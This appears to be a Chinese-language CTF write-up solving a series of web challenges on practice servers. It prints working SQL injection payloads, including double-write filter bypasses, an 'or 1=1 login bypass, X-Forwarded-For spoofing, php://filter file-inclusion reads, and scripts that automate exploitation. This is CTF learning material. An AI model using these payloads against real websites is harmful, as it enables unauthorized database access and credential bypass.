这题坑哭我了,还是自己太菜啊(QWQ)。进入网址得到一张图片,直接放到winhex里面查找文本,输入flag,就能找到flag,然后将里面的字符base64解密,然后在md5加密提交flag,一开始没有base64解密,提交很多次都没有成功。呜呜呜。图片在下面。
答案直接给出来了。
emmmmm不会
打开网页是一张图片变量覆盖extract,所以payload为http://123.206.31.85:10001/?a=&b=11 得出flag
eval进去直接写python脚本(基于python3)
import requests
import re
url1="http://123.206.31.85:10002/"
s=requests.session()
r=s.post(url=url1)
res="
\s+(.*?)"
math=re.findall(res,r.content.decode("utf-8"))
math=str(math)[2:-2]
print(math)
math=(eval(math))
result={
"result":math
}
r=s.post(url=url1,data=result)
print(r.content.decode('utf-8'))
sql注入payload如下:
47.95.208.167:10005/?mod=read&id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema=database() --
47.95.208.167:10005/?mod=read&id=-1 union select 1,2,column_name,4 from information_schema.columns where table_name="flag" --
47.95.208.167:10005/?mod=read&id=-1 union select 1,2,concat(flag),6 from flag --
右键查看源代码拉到最下面,发现有一个base64加密的字符串,解密后为test123,猜测就是密码,然后输入admin test123,发现本地管理员登陆,抓包,改为x-forwarded-for:127.0.0.1 得出flag。
右键查看源码看到robot,那就查看robots.txt 发现shell.php 然后访问,substr(md5(), 0, 6) = 5b4141是个这玩意,那就直接写python脚本吧。(基于python3)
import hashlib
def makemd5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1,99999990):
if(makemd5(str(i))[0:6]=='5b4141'):
print (i)
break
抓包repeater,发现有password,和hint,然后password的值解密,然后把解密的值post进去,速度要快,如果不够快,那就python脚本来吧。代码如下(基于python3)
import requests
import base64
url="http://123.206.31.85:10013/index.php"
s=requests.session()
r=s.post(url=url)
password=r.headers['password']
password=base64.b64decode(password.encode('utf-8'))
password=str(password)[7:-2]
payload={
'password':password
}
r=s.post(url=url,data=payload)
print(r.content.decode("utf-8"))
sql注入题
测试1’ 无回显,1’ --+有回显 说明这是单引号闭合,继续测试发现他把and or union select 过滤了,双写绕过成功,那就可以构造payload:z
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+
注意information or要双写
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="flag" --+
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(flag),3 from flag --+
得出flag
python大法好,已经碰过很多次类似的题目了。(基于python3)
import re
import requests
for i in range(1,10):
url="http://123.206.31.85:10020/"
s=requests.session()
r=s.get(url=url)
res="[0-9a-z]+"
key=re.findall(res,r.content.decode("utf-8"))
key=str(key[0])
url1=url+"?key="+key
print(url1)
r=s.get(url=url1)
print(r.content.decode("utf-8"))
挂代理的把代理关了跑脚本。
打开页面发现是一个html,然后我用御剑跑了一下,发现有shell.php,进入shell.php发现这原来才是真正的登陆框。然而应该提交什么呢?在之前那个html页面有一个下载链接,点进去,再点进去,发现url变成了http://123.206.31.85:10025/2/ziidan.txt
发现404,于是尝试一下将/2去掉发现了一些文字。
asdhjk
dakjhkjwq
adkjhsdk
fkdjknbv
dkajshdlj
hjsjnb
sdalkj
flagf
sfksjhwqe
dsalkjlkqjwe
hsjnb
一个一个试一下吧,反正也不多,发现最后一个可以在shell.php页面提交成功。得到flag。
一开始看这个题目以为是个文件长传漏洞,怎么尝试都没有用,看了密圈之后,没想到是一个文件包含问题,QWQ。payload如下:php://filter/read=convert.base64-encode/resource=flag。
万能密码 username:admin password:'or 1=1 #
hint提示vim 那肯定和vim非正常关闭有关,vim非正常关闭会产生swp,所以url为http://123.206.31.85:10015/index.php?id=swp&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#
url中id要改为swp,还要把1改为i。
提示备份 用weakscan扫一下 发现.git/config 那就githack 啊 嘻嘻嘻,直接搞到flag.php。
查看源代码如下
you are not admin !